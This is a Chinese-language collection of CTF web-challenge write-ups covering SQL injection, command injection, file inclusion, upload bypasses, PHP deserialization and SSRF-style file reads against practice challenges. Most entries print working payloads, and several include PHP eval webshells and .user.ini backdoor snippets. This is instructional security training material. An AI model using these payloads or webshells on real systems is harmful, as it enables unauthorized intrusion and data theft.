[HCTF 2018]WarmUp

过程
1.找源代码

右键查看源代码或者F12发现提示
在这里插入图片描述
看到还有一个hint.php,再访问一下
在这里插入图片描述

2.分析源代码
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

先看最后一段,只要满足这一段代码就能包含出我们想要的ffffllllaaaagggg文件,而这个if判断语句要求

1.值不为空
2.值为字符串
3.能够通过checkFile的验证

其实主要就是要求满足第3点,那再来分析checkFile

        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

首先说明将输入的参数传给page,然后声明了whitelist数组,第一个if语句判断page不存在或者page不为字符串

            if (in_array($page, $whitelist)) {
                return true;
            }

第二个if语句判断page参数是否为whitelist数组中的值,意思是参数只能是hint.php或者source.php

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

首先截断page中的值,这里截的是?前的值,然后判断page参数是否为whitelist数组中的值。

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

这里先对page参数进行url编码,然后再截断,这里因为服务器也会解码一次,所以我们构造参数的时候直接编码了两次(但这里好像编码不编码都可以),构造

source.php?file=source.php?../../../../../ffffllllaaaagggg
index.php?file=hint.php?../../../../../ffffllllaaaagggg

在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]EasySQL

简单的sql注入,并不是和之间一样查所有信息才能得到flag,这里只要成功登陆就能得到flag

过程

输入admin尝试登陆
在这里插入图片描述
这里对username和password均要传入参数,尝试万能语句admin' or '1'='1
在这里插入图片描述

check.php?username=admin' or '1'='1&password=admin' or '1'='1

[极客大挑战 2019]Havefun

过程

进去啥也没有。查看右键源代码,发现提示


                <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

那就跟着直接传参?cat=dog
在这里插入图片描述
啊这,这种题真的存在吗?

[强网杯 2019]随便注1

一上来老姿势先来一波,但是好像并没有报出有用的信息
在这里插入图片描述

尝试union select时发现题目大方的告诉我们什么被过滤掉了,select被过滤,当场退役。
在这里插入图片描述但是这个尝试堆叠注入,发现1';show databases;
在这里插入图片描述那紧接着赶紧1';show tables;
在这里插入图片描述

在接着查列1';show columns from words;这里的是数字的话必须用``符号包裹,Tab上面的那个,因为反单引号(`)是数据库、表、索引、列和别名用的引用符

在这里插入图片描述
好像没有人什么重要信息,再查查另一个列

1';show columns from `1919810931114514`;

在这里插入图片描述
找到了flag,但是select被过滤掉了,这里就比较刁钻了,因为直接查到的信息都是两列,而words中本就都是两列,而另一个列表中只有一列信息,所以我们直接查到的信息可能都是words中的信息,由堆叠注入不难想到修改表名,如果我们将words改成其他名字,将另一个列表的名字改成words,并将flag改成id,这样通过直接查询就能查到flag的信息。
在这里插入图片描述

修改表名:
RENAME TABLE tablename1 TO tablename2;
修改表中的列名:
ALTER TABLE tablename CHANGE column1 column2 varchar(100);

1';rename table `words` to `words1`; rename table `1919810931114514` to `words`;alter table words change flag id varchar(100);

要一次性改完,不然words单独被修改后会直接报错
在这里插入图片描述
也可以使用sql语句预处理

[ACTF2020 新生赛]Include

过程

点开tips
在这里插入图片描述啥也没有,这里有两个想法,一种就是先扫目录然后再分析,一种就是尝试读源码,所以我们一遍扫一遍去读源码

php://filter/read=convert.base64-encode/resource=flag.php
php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出

没想到直接出来了一段base64代码
在这里插入图片描述
在这里插入图片描述

[SUCTF 2019]EasySQL1

仍然是基础的一套查询方式,最后发现还是一个堆叠注入

1;show databases;

在这里插入图片描述

1;show tables;

在这里插入图片描述
到这里又有几个新的姿势,这里看的wp直接贴出关键源代码吧

select $_GET['query'] || flag from flag

第一种方法是通过1和任意字符串或数字使用 ||连接 的值都为1这个操作完成构造payload*,1,这里因为拼接完成后就变成了

select *,1||flag from Flag
就等于
select *,1 from Flag

而且select 1 from的意思是增加一个临时列,它的列名是1,然后那一列的值都为1,然后就
在这里插入图片描述
第二种方法是关于Mysql数据库中sql_mode的配置PIPES_AS_CONCAT:

  1. 当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
    当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数

所以这里payload1;set sql_mode=PIPES_AS_CONCAT;select 1,就与关键源代码拼接成了select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag,而|| 相当于是将 select 1 和 select flag from flag 的结果拼在一起,然后就
在这里插入图片描述这里前面也多了一个临时列

[极客大挑战 2019]Secret File

过程

打开查看源代码,发现一个网址
在这里插入图片描述
在这里插入图片描述
点击后出现
在这里插入图片描述那抓包看看中间有什么
在这里插入图片描述
在这里插入图片描述

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

尝试file=flag.php

在这里插入图片描述

是不是一个读取源码的题?尝试

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到神秘代码,进行base64解码

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7Y2VmN2U2ODItMGJmNy00YjFiLWI4M2EtMGQyYjI4NDZlMTdlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

在这里插入图片描述
得到flag与秘密

[ACTF2020 新生赛]Exec

过程

z
emmm怎么只有一个index页面,尝试直接cat一下flag

ping 127.0.0.1;cat /flag

在这里插入图片描述

[极客大挑战 2019]LoveSQL1

尝试万能密码登陆,登陆成功并且发现密码
在这里插入图片描述
然后就发现并没有flag,尝试正常流程

check.php?username=1' order by 4%23&password=1  这里#只能用%23

在这里插入图片描述
联合注入,只有三个字段,就下来就是查库查表查字段查数据

查库:check.php?username=1' union select 1,2,database();%23&password=1

在这里插入图片描述

查表:check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述

查字段:check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

在这里插入图片描述

查信息:check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

在这里插入图片描述

得到最终flag
在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

过程
?ip=127.0.0.1;ls

在这里插入图片描述

试了一下发现了flag.php,直接cat 一下flag

?ip=127.0.0.1;cat flag.php

在这里插入图片描述
我觉得是不让用空格的意思,尝试%0a绕过
在这里插入图片描述
应该是标点符号%的问题(因为删其他的没反应,删%显示其他的),尝试${IFS}代替空格再绕过,还是一样的,尝试$IFS$1,成功绕过
在这里插入图片描述
过滤flag,尝试拼接绕过?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php,查看页面源代码

[极客大挑战 2019]Knife

过程

在这里插入图片描述

不会吧,难道
在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]Http

打开题目是一个网站,先看看源代码

在这里插入图片描述
在这里插入图片描述这是说referer不同?打开burp抓包,修改referer
在这里插入图片描述

根据提示再修改浏览器
在这里插入图片描述
再修改X-Forwarded-For
在这里插入图片描述

[极客大挑战 2019]PHP

过程

果然直接找zip也是老套路了
在这里插入图片描述
打开发现
在这里插入图片描述
在index.php中发现

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

反序列化,再看最主要的class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

分析可知如果用户名为admin,密码为100则可以输出flag的值,但有一个__wakeup魔法使username变成guest,所以需要通过修改序列化字符串中对象的个数来绕过此魔法。
这里对private,public序列化后的内容有点疑惑,整明白了再写

[RoarCTF 2019]Easy Calc1

打开是一个计算器,查看页面源代码
在这里插入图片描述
尝试搜索calc.php,发现一段php代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

尝试后发现参数只能是数字或是一些简单的数字乘除减(加号可能在url中被转换成空格),剩下就是403

用到的知识点
  1. PHP的字符串解析特性

PHP的字符串解析特性是指PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线,这里waf限制?num的参数只能是白名单内的一些内容,不能是字母以及其他一些字符,但如果我们为? num,那么waf对其不会限制,但在php进行解析时会忽略这个空格,这样就绕过了waf

  1. 特殊符号字母仍被过滤,利用chr()函数绕过

chr码值对应列表大全

解题
calc.php? num=print_r(scandir(chr(47)))

在这里插入图片描述

calc.php? num=print_r(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

在这里插入图片描述
输出和文件读取之类的函数非常的多,所以最终payload也是多种多样,但这里为什么对f1agg也要进行chr的绕过呢?。

[极客大挑战 2019]Upload1

打开题目是一个图片的上传

在这里插入图片描述
尝试直接上传一句话木马

在这里插入图片描述

那多的不说,直接copy图片马

在这里插入图片描述
过滤了<?,那就.phtml文件绕过,对应的一句话木马<script language="php">eval($_POST['pass']);</script>

在这里插入图片描述

还得加上图片文件头GIF98a
在这里插入图片描述上传后发现
在这里插入图片描述

抓包修改Content-Type: image/jpeg

在这里插入图片描述
上传成功,在upload文件夹下找到文件
在这里插入图片描述
利用蚁剑连接

在这里插入图片描述
根目录下找到flag

在这里插入图片描述
或者不用蚁剑直接命令执行cat flag
在这里插入图片描述

[ACTF2020 新生赛]Upload1

能上传图片马,还能直接浏览,还以为是文件包含加命令执行,没想到搞了一会没有反应,首先前端有一个验证,应该是对文件后缀的一个验证,直接就给删掉,但删掉还是不能上传php文件,这里是再上传了一个phtml文件
在这里插入图片描述

<script language='php'>@eval($_POST['a']);</script>
<script language='php'>system('cat /flag');</script>

能利用蚁剑连,也能直接cat根目录的flag,上传后直接get flag

[极客大挑战 2019]BabySQL1

过滤了 select or and union from,不过双写就能绕过,接下来就是普通的查数据了

?username=1' uniunionon seleselectct 1,2,database()%23&password=1

在这里插入图片描述

?username=1' uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1

在这里插入图片描述

?username=1'ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf"%23&password=1

在这里插入图片描述

ununionion seselectlect 1,2, group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23&password=1

在这里插入图片描述

username=1' ununionion seselectlect 1,2,group_concat(flag) frfromom (ctf.Flag)%23&password=1

在这里插入图片描述

[ACTF2020 新生赛]BackupFile1

利用dirsearch,发现一个index.php.bak,Notepad++打开

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

get方式传入一个key,key必须为数字,并且key的值必须与字符串“123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”相等。PHP的弱类型特性:int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉。,所以传入?key=123

[HCTF 2018]admin1

直接弱口令admin 123,登录上去get到flag

[极客大挑战 2019]BuyFlag1

发现右侧菜单有两个页面,进入到pay.php的页面,发现了源代码

在这里插入图片描述
password不能是数字但是要等于404,利于弱类型让password=404a,或者利用php中的is_numeric()漏洞,is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以key=404%20或者404%00 %00404测试不行

在这里插入图片描述这里发现cookie处user=0,反手就改成一,这里应该是题目说的You must be a student from CUIT!!!,又嫌数字太长,用科学计数法

在这里插入图片描述

最后这里也能用到php中的strcmp漏洞

int strcmp ( string $str1 , string $str2 )

比大小,如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。但是如果我们传入非字符串类型的数据的时候,这个函数接受到了不符合的类型,函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 ,也就是虽然报了错,但却判定其相等,所以可以用数组money[]=绕过

[BJDCTF2020]Easy MD5 1

随便输个1尝试一下

在这里插入图片描述
这里竟搞出了一个万能密码:ffifdyop,原因是md5()在true的时候,会返回这样的字符串:'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这样就存在了select * from 'admin' where password=''or'6.......'这样的永真式,而ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6,既然这样,那只要是md5()后前几位是' or '6之类的那不就都……
提交了万能密码,来到一个新的画面
在这里插入图片描述
a!=b而md5值想等,数组,md5后=0的,md5后的确想等的,搞个数组

?a[]=1&b[]=2

又跳到一个新的页面

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

继续数组

POST:param1[]=1&param2[]=2

[ZJCTF 2019]NiZhuanSiWei 1

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

三个参数,首先text

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

存在一个$text,读取时里面要有"welcome to the zjctf",刚开始还想着这个页面不就有这句话吗,text就等于这个页面不行吗,还是直接搞吧,这里可以用php://input或者data协议,都是执行。

data的话直接搞就是了,这里也不用加密
data://text/plain,welcome to the zjctf
input的话welcome to the zjctf拿post传,直接用burp
php://input

在这里插入图片描述

再看file,它后面有提示一个useless.php页面,直接file=useless.php包含不出来,这里用到php://filter协议

file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64,解密得

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

读取file所指向的文件名,上面还写了个flag.php

<?php  
class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
echo serialize(new Flag());

//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

难道只有一个回显位吗

?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST:welcome to the zjctf

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[SUCTF 2019]CheckIn 1

直接上传php文件,无效后缀
在这里插入图片描述

上传图片马,又不能有<?
在这里插入图片描述
上传phtml文件,还是无效后缀,上传前缀为GIF89a ,内容为

<script language=‘php‘>eval($_POST[1])</script>

上传上去给了路径,但这样是没法进行命令执行的,那再试着传一个.htaccess,但.htaccess只针对apache,我只看大佬们都说这里是nginx,这里就用到了新知识.user.ini,简单来说就是和.htaccess一样都属于配置文件,不过它能用到的地方也更广,功能也更多,这里用到它auto_append_file、auto_prepend_file这两个函数,类似于require(),配置好要包含哪个文件,然后把刚刚已经上传成功的文件包含了,那不就欧克了.user.ini文件构成PHP后门
在这里插入图片描述

GIF89a
auto_prepend_file=222.png

在这里插入图片描述

GIF89a
<script language='php'> @eval($_POST['qwer'])</script>

在这里插入图片描述
蚁剑连接在根目录找到flag,或者直接post传命令
在这里插入图片描述

qwer=system('tac /fl*');

[极客大挑战 2019]HardSQL 1

在这里插入图片描述
随便输入开始登陆,单引号报错,其他并没报错,应该就是单引号闭合的字符型,输了个or就显示这了,然后发现and/空格/union/select/=//**/都是这,应该是被过滤了,想试试报错注入,但是怎么能让报错函数执行呢,这里用到^符号搞异或
在这里插入图片描述

查数据库

?username=1'^extractvalue(1,concat(0x7e,(database())))%23&password=1

在这里插入图片描述

查表

?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23&password=1

在这里插入图片描述

查字段

?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password=1

在这里插入图片描述

查数据

?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23&password=1

在这里插入图片描述

?username=1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))%23&password=1

在这里插入图片描述

[MRCTF2020]Ez_bypass 1

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

一个md5弱比较,直接数组就是了
一个is_numeric的绕过,在1234567后加字母,这的确不是数字,但是解析时不接收a

?gg[]=1&id[]=2
passwd=1234567a

[网鼎杯 2020 青龙组]AreUSerialz 1

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

打开题看了会,以为通过op两个不同的功能传上去文件然后读取,没想到竟是伪协议控制read()直接读取flag.php的内容。。。。这里一共要绕过两个地方is_valid()__destruct()中的强比较

  1. is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。绕过的话:PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

  2. __destruct()魔术方法中,op==="2"是强比较,而process()使用的是弱比较op==“2”,可以通过弱类型绕过。绕过方法就是op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true

最终payload

<?php

class FileHandler {

   public $op = 2;
   public $filename = "flag.php";
   public $content;

}
echo serialize(new FileHandler());
?>

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

这就比较离谱了,这里也可以用文件读取,但我感觉大可不必

[GXYCTF2019]BabySQli 1

啥也没有,查看源代码发现search.php,点进去发现大写字母+数字,base32+base64解得

select * from user where username = '$name'

应该是通过检验密码与user查出来的密码能否对上,先查字段数

name=-1' union select 1,2,3%23&pw=1

显示wrong user!,将2的位置替换成admin

name=-1' union select 1,'admin',3%23&pw=3

显示wrong pass!,本想着这里3与后面密码的3一样就可以了,但还是不对,这里密码应该有一层MD5加密,所以这里传MD5加密的密码,就直接搞出flag了

name=-1' union select 1,'admin','eccbc87e4b5ce2fe28308fd9f2a7baf3'%23&pw=3

这里并不是查到有admin这个用户,而且密码为3,而是在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据

[MRCTF2020]你传你🐎呢 1

上传图片上传成功,上传图片🐎也上传成功,那尝试上传.htaccess文件

  <FilesMatch "1.png">
    SetHandler application/x-httpd-php
  </FilesMatch>

还是报我扌your problem?了。上传抓包修改Content-Type:image/jepg,上传成功,那上传了图片🐎直接蚁剑连接

[网鼎杯 2018]Fakebook 1

找了下robots.txt竟然还有收获

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

像是一个反序列化,并且中间还有一个curl_exec($ch);,返回来john.php注册一个,注册完发现username能点,发现url有参数,有点像sql注入,试了几下发现就是,并且没有什么防护
在这里插入图片描述

/view.php?no=1 order by 5
发现union select整体被过滤,利用/**/隔开
/view.php?no=-1 union/**/select 1,2,3,4
爆库
/view.php?no=-1 union/**/select 1,database(),3,4
爆表
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆字段
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
找数据
/view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:17:"http://yster.live";} 

也就是我注册的信息并且反序列化了一下,与之前robots.txt里面发现的一样

public function getBlogContents ()
{
    return $this->get($this->blog);
}

get函数的内容由blog控制,get函数内

*】curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()curl_close() 函数使用。

【*】curl_setopt : 请求一个url。
其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。

【*CURLOPT_RETURNTRANSFERcurl_exec()获取的信息以文件流的形式返回,而不是直接输出。

【*】curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。

【*CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。

这里的确有设置CURLOPT_RETURNTRANSFER,以文件流的形式返回,那就试试文件读取,直接file flag去

<?php
class UserInfo
{
    public $name = "1";
    public $age = "1";
    public $blog = "file:///var/www/html/flag.php";
}
echo serialize(new UserInfo());
?>
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";s:1:"1";s:4:"blog";s:29:"file:///var/www/html/flag.php";}

在这里插入图片描述
最后找到flag,为什么这里能直接插入反序列化的语句然后执行,其实和sql一样,就是为什么输入sql语句会执行
在这里插入图片描述

还有一种方法是sql注入时知道了拥有root权限,然后利用load_file()函数直接去加载一个文件

?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

[GYCTF2020]Blacklist 1

真是新姿势,前所未有的新姿势,一眼看到题就是以前见过的一道,但过滤了更多,根本没法搞,这里用到新的HANDLER:HANDLER [表名] OPEN;语句打开一个表,使其可以使用后续HANDLER [表名] READ;该表对象未被其他会话共享,并且在会话调用HANDLER [表名] CLOSE;或会话终止之前不会关闭

1';show databases;
1';show tables;
1';show columns from `FlagHere`;
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐